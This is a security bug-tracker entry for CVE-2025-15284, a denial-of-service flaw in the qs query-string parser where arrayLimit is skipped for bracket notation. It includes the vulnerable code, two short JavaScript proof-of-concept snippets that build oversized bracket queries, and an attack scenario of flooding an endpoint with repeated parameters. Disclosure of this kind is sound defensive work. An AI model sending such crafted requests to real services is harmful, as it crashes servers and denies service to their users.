Bug 2425946 (CVE-2025-15284)

Summary: CVE-2025-15284 qs: qs: Denial of Service via improper input validation in array parsing
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerabilityAssignee: Product Security DevOps Team <prodsec-dev>
Status: NEW --- QA Contact:
Severity: high Docs Contact:
Priority: high    
Version: unspecifiedCC: aarif, aazores, abarbaro, abrianik, abuckta, adudiak, akostadi, alcohan, alizardo, amasferr, amctagga, anjoseph, anpicker, anthomas, aoconnor, aprice, asoldano, ataylor, bbaranow, bbrownin, bdettelb, bmaxwell, bniver, bparees, brasmith, brian.stansberry, carogers, caswilli, chfoley, cmah, cochase, darran.lofthouse, dbruscin, dhanak, dkuc, dmayorov, dnakabaa, doconnor, dosoudil, dranck, drosa, dsimansk, dymurray, eaguilar, ebaron, ehelms, erezende, eric.wittmann, fjuma, flucifre, ggainey, ggrzybek, gmalinko, gmeno, gotiwari, gparvin, groman, haoli, hasun, hkataria, ibek, ibolton, istudens, ivassile, iweiss, jajackso, janstey, jbalunas, jcammara, jcantril, jchui, jfula, jgrulich, jhe, jhorak, jkoehler, jlledo, jmatthew, jmitchel, jmontleo, jneedle, joehler, jolong, jowilson, jprabhak, jrokos, juwatts, jwong, kaycoth, kegrant, kingland, koliveir, kshier, ktsao, kvanderr, kverlaen, lball, lchilton, lcouzens, lphiri, mabashia, manissin, matzew, mbenjamin, mhackett, mhulan, mnovotny, mosmerov, mpierce, mskarbek, msvehla, mvyas, mwringe, nboldt, ngough, nipatil, nmoumoul, nwallace, nyancey, omaciel, ometelka, orabin, osousa, owatkins, pahickey, pantinor, parichar, pberan, pbizzarr, pbraun, pcreech, pdelbell, pesilva, pgaikwad, pjindal, pmackay, psrna, ptisnovs, rchan, rhaigner, rjohnson, rkubis, rojacob, rstancel, rstepani, sausingh, sdawley, sfeifer, shvarugh, simaishi, slucidi, smaestri, smallamp, smcdonal, sostapov, sseago, stcannon, swoodman, syedriko, tasato, teagle, tfister, thavo, tmalecek, tom.jenkinson, tpopela, tsedmik, ttakamiy, vereddy, veshanka, wtam, xdharmai, yguenane
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: ---
Doc Text:
A flaw was found in qs, a module used for parsing query strings. A remote attacker can exploit an improper input validation vulnerability by sending specially crafted HTTP requests that use bracket notation (e.g., `a[]=value`). This bypasses the `arrayLimit` option, which is designed to limit the size of parsed arrays and prevent resource exhaustion. Successful exploitation can lead to memory exhaustion, causing a Denial of Service (DoS) where the application crashes or becomes unresponsive, making the service unavailable to users.
Story Points: ---
Clone Of: Environment:
Last Closed: Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 2426468, 2426469, 2426470, 2426472, 2426473, 2426474, 2426475, 2426476, 2426477, 2426478, 2426479, 2426480, 2426481, 2426482, 2426483, 2426484, 2426486, 2426487, 2426488, 2426489, 2426490, 2426491, 2426492, 2426493, 2426494, 2426495, 2426496, 2426497, 2426499, 2426500, 2426501, 2426502, 2426503, 2426504, 2426505, 2426506, 2426526, 2426471, 2426485, 2426498    
Bug Blocks:    

Description OSIDB Bzimport 2025-12-29 23:01:24 UTC
Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1.


SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.

DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).

Vulnerable code (lib/parse.js:159-162):

if (root === '[]' && options.parseArrays) {
    obj = utils.combine([], leaf);  // No arrayLimit check
}





Working code (lib/parse.js:175):

else if (index <= options.arrayLimit) {  // Limit checked here
    obj = [];
    obj[index] = leaf;
}





The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.

PoCTest 1 - Basic bypass:

npm install qs





const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length);  // Output: 6 (should be max 5)





Test 2 - DoS demonstration:

const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length);  // Output: 10000 (should be max 100)





Configuration:

  *  arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
  *  Use bracket notation: a[]=value (not indexed a[0]=value)


ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.

Attack scenario:

  *  Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
  *  Application parses with qs.parse(query, { arrayLimit: 100 })
  *  qs ignores limit, parses all 100,000 elements into array
  *  Server memory exhausted → application crashes or becomes unresponsive
  *  Service unavailable for all users
Real-world impact:

  *  Single malicious request can crash server
  *  No authentication required
  *  Easy to automate and scale
  *  Affects any endpoint parsing query strings with bracket notation